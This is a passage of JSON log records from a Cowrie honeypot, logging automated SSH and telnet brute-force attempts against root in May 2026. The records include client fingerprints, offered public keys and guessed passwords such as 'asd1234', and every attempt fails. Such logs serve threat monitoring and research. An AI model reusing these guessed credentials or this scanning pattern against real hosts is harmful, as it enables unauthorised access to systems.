{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:35:48:cd:7e:dc:74:ad:af:ae:5a:bb:37:81:fd:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvsf+625l+Yegv1/0q53euWQQheVZpOzUirbTm3jRYM95fKDq4nAAs+sEaIzWKuHQUkK83Gy50mTTcblZyzqj2szhvxucnGOBmRfkYIqh4q0dd+Gyn+fbrb+f5lrNcu3+QqG4TqHR6aNuuQE14qZiY0jlL+99rfT2XndFfocsuMF1vUciId1BZIuBqZM55g/w8MaC3yGiwaM6X82ebZoKQw04o+tLviO2pQej5Sv3AXaswF6nUsRyV8rASPCAnmIu9zDJMGUBugx2d+Un7u9ZZoTFnN2xTbUZA9zHk5yChWIU/wMc7ISWEPOqX3SWUMv6/t0DfNqRVnKJSrMIBOYkv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.079940Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:9c:2e:a0:0e:5c:02:b3:c2:29:f6:ce:45:af:40:fb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJLvv3THwfg39+bghwlV+I2SOzQ3eGt3rv8HP7IF6VhMK1AEw/3WmFRTIr30BFnT91pF/lOv/TO5sZRNfokrTWlxDZUpzzNoTDo6dV5fA2+ZolRz8Z5xNke+lmz3Sr1xXDO6Po+nkxKow9mzL5pKQZ55BUFEv8xkJ2ObdnoifkUzAAAAFQCnfxpw3SHhKP+t1OQxJqhgPtQ3QQAAAIA0Y8inCaFPbCY4RZqKpJaTV7aJYkWRjlNDWFeRnZZWCUSNAv5uU3sJHwaY/rIeNEa4w2F5xq4DBZPNlUnUYBYDjXuhGF3z3lpAFIsICU8w5jR1Bvndsipx49sLahHVPxJu07O47sMHSrfdCF2qWaj+/6fzodK8EbhbCxxQSVhOqwAAAIBCGJTIxxJCjMRdN95FwJBurJ9HQNEzhbKmE1N7xE1JDSSFi9dImqTMW0sOC/s+vqn56cE0ZGUeVh0BxQeP7eQS4I5cX8JHAtRWyfBAcbc6d6k3HFFscVG9CxIxXeL7YDlVaQmOU7zYa23NW29CZ0scudg9yB5hu9xMS3mVcpzzaA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b7:9c:2e:a0:0e:5c:02:b3:c2:29:f6:ce:45:af:40:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.105654Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:9c:2e:a0:0e:5c:02:b3:c2:29:f6:ce:45:af:40:fb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJLvv3THwfg39+bghwlV+I2SOzQ3eGt3rv8HP7IF6VhMK1AEw/3WmFRTIr30BFnT91pF/lOv/TO5sZRNfokrTWlxDZUpzzNoTDo6dV5fA2+ZolRz8Z5xNke+lmz3Sr1xXDO6Po+nkxKow9mzL5pKQZ55BUFEv8xkJ2ObdnoifkUzAAAAFQCnfxpw3SHhKP+t1OQxJqhgPtQ3QQAAAIA0Y8inCaFPbCY4RZqKpJaTV7aJYkWRjlNDWFeRnZZWCUSNAv5uU3sJHwaY/rIeNEa4w2F5xq4DBZPNlUnUYBYDjXuhGF3z3lpAFIsICU8w5jR1Bvndsipx49sLahHVPxJu07O47sMHSrfdCF2qWaj+/6fzodK8EbhbCxxQSVhOqwAAAIBCGJTIxxJCjMRdN95FwJBurJ9HQNEzhbKmE1N7xE1JDSSFi9dImqTMW0sOC/s+vqn56cE0ZGUeVh0BxQeP7eQS4I5cX8JHAtRWyfBAcbc6d6k3HFFscVG9CxIxXeL7YDlVaQmOU7zYa23NW29CZ0scudg9yB5hu9xMS3mVcpzzaA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.109648Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:4e:32:e8:4b:de:99:ae:29:20:12:70:99:ea:ec:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHBo3v1UNvzYcB+BvhcVHiJ0iTEUmaSQQm5vyPeG35TsoiKmXCwVeryeoh5dSodwp12ORZffyqMhDLVKzUbSxIBLI58WCyCbDnQvLFnVZxgpNNlVRT/V7cG6yRv6UkZlFFmVclxXyuH+ITXH9eYJRNCUN0aIW36uA1kmwGSq3VC0CGQnkuqtVQqCm6qMq1z+tddAzFgwGLCEGhIQ8p+RzhZ5JSDTE+WNJoDGBDBVfBwN91okaeJXI9NFAlZzVbUNho6tjwKnPHDZtGL2O2Agm0ZYSrLiU7Cq9o074WmYuzlW/DE+3yHpI459HERlqD4zZCxANwa3HB9kidxsqIOaKF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:4e:32:e8:4b:de:99:ae:29:20:12:70:99:ea:ec:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.135078Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:4e:32:e8:4b:de:99:ae:29:20:12:70:99:ea:ec:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHBo3v1UNvzYcB+BvhcVHiJ0iTEUmaSQQm5vyPeG35TsoiKmXCwVeryeoh5dSodwp12ORZffyqMhDLVKzUbSxIBLI58WCyCbDnQvLFnVZxgpNNlVRT/V7cG6yRv6UkZlFFmVclxXyuH+ITXH9eYJRNCUN0aIW36uA1kmwGSq3VC0CGQnkuqtVQqCm6qMq1z+tddAzFgwGLCEGhIQ8p+RzhZ5JSDTE+WNJoDGBDBVfBwN91okaeJXI9NFAlZzVbUNho6tjwKnPHDZtGL2O2Agm0ZYSrLiU7Cq9o074WmYuzlW/DE+3yHpI459HERlqD4zZCxANwa3HB9kidxsqIOaKF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.138860Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:89:03:e2:6b:34:d6:5b:74:72:f3:72:0d:c0:0c:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuz40PBRBiuPx54yELBt8TGcN+dRDqP520XX4SFhfdKIqLqvOre7XBRbxmDTbM/u7eKFKk6IOu+TdrWKg2dj6RfSGi2Yz00bBqkD7fdt+mbF9o98fF96xsWA6D9LMIRFxZpUtKJZfyEUVZDGw6c/ZLIC573OkngRg4ggo4xDSZnUJ00RgmtVsqeDrj/wwQGZG6GoaDyU97Yzu/Ium6D7uwvDw0FW3ZuqTRj4zaPci0QIKs0vyj3fNKveulbwTNNbp1mesbFDcYKo6OUMKntBbruudL+E0Z8EsMJS1Ym/6/px6ryH+5x8yNygbLoZEMsR2pN5yJD0pvi3Ljv+wsyrmdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:89:03:e2:6b:34:d6:5b:74:72:f3:72:0d:c0:0c:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.168911Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:89:03:e2:6b:34:d6:5b:74:72:f3:72:0d:c0:0c:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuz40PBRBiuPx54yELBt8TGcN+dRDqP520XX4SFhfdKIqLqvOre7XBRbxmDTbM/u7eKFKk6IOu+TdrWKg2dj6RfSGi2Yz00bBqkD7fdt+mbF9o98fF96xsWA6D9LMIRFxZpUtKJZfyEUVZDGw6c/ZLIC573OkngRg4ggo4xDSZnUJ00RgmtVsqeDrj/wwQGZG6GoaDyU97Yzu/Ium6D7uwvDw0FW3ZuqTRj4zaPci0QIKs0vyj3fNKveulbwTNNbp1mesbFDcYKo6OUMKntBbruudL+E0Z8EsMJS1Ym/6/px6ryH+5x8yNygbLoZEMsR2pN5yJD0pvi3Ljv+wsyrmdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.172679Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.197121Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39492,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc8e9e383f4","protocol":"ssh","message":"New connection: 109.172.54.111:39492 (10.17.0.5:22) [session: dcc8e9e383f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:30.486097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:30.501622Z","src_ip":"109.172.54.111","session":"dcc8e9e383f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:30.582300Z","src_ip":"109.172.54.111","session":"dcc8e9e383f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:30.965180Z","src_ip":"109.172.54.111","session":"dcc8e9e383f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:32.065303Z","src_ip":"109.172.54.111","session":"dcc8e9e383f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":58918,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a960acc17da","protocol":"ssh","message":"New connection: 94.159.109.207:58918 (10.17.0.5:22) [session: 8a960acc17da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:40.122254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:40.128045Z","src_ip":"94.159.109.207","session":"8a960acc17da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:40.249090Z","src_ip":"94.159.109.207","session":"8a960acc17da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbienrf","message":"login attempt [root/vbienrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:40.607590Z","src_ip":"94.159.109.207","session":"8a960acc17da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:41.730451Z","src_ip":"94.159.109.207","session":"8a960acc17da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33324,"dst_ip":"159.203.135.109","dst_port":22,"session":"eff95802d61c","protocol":"ssh","message":"New connection: 103.82.132.16:33324 (159.203.135.109:22) [session: eff95802d61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:23.599965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:23.604459Z","src_ip":"103.82.132.16","session":"eff95802d61c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:23.872929Z","src_ip":"103.82.132.16","session":"eff95802d61c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"59mile","message":"login attempt [root/59mile] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:24.682141Z","src_ip":"103.82.132.16","session":"eff95802d61c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:25.998315Z","src_ip":"103.82.132.16","session":"eff95802d61c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34492,"dst_ip":"159.203.135.109","dst_port":22,"session":"90cc2a0df93b","protocol":"ssh","message":"New connection: 103.27.238.116:34492 (159.203.135.109:22) [session: 90cc2a0df93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:44.593632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:44.598537Z","src_ip":"103.27.238.116","session":"90cc2a0df93b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:44.875300Z","src_ip":"103.27.238.116","session":"90cc2a0df93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234","message":"login attempt [root/asd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:45.707329Z","src_ip":"103.27.238.116","session":"90cc2a0df93b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:46.986979Z","src_ip":"103.27.238.116","session":"90cc2a0df93b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41388,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6a0c8adf7a","protocol":"telnet","message":"New connection: 192.119.13.58:41388 (10.17.0.5:23) [session: 2c6a0c8adf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:37:47.023499Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59032,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f3fd2285b1a","protocol":"ssh","message":"New connection: 147.45.199.80:59032 (159.203.135.109:22) [session: 8f3fd2285b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:03.522838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:03.527809Z","src_ip":"147.45.199.80","session":"8f3fd2285b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:03.628623Z","src_ip":"147.45.199.80","session":"8f3fd2285b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf12","message":"login attempt [root/asdf12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:03.928607Z","src_ip":"147.45.199.80","session":"8f3fd2285b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:05.030789Z","src_ip":"147.45.199.80","session":"8f3fd2285b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60962,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cefb830513e","protocol":"ssh","message":"New connection: 185.236.22.41:60962 (10.17.0.5:22) [session: 1cefb830513e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:05.276133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:05.304010Z","src_ip":"185.236.22.41","session":"1cefb830513e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openss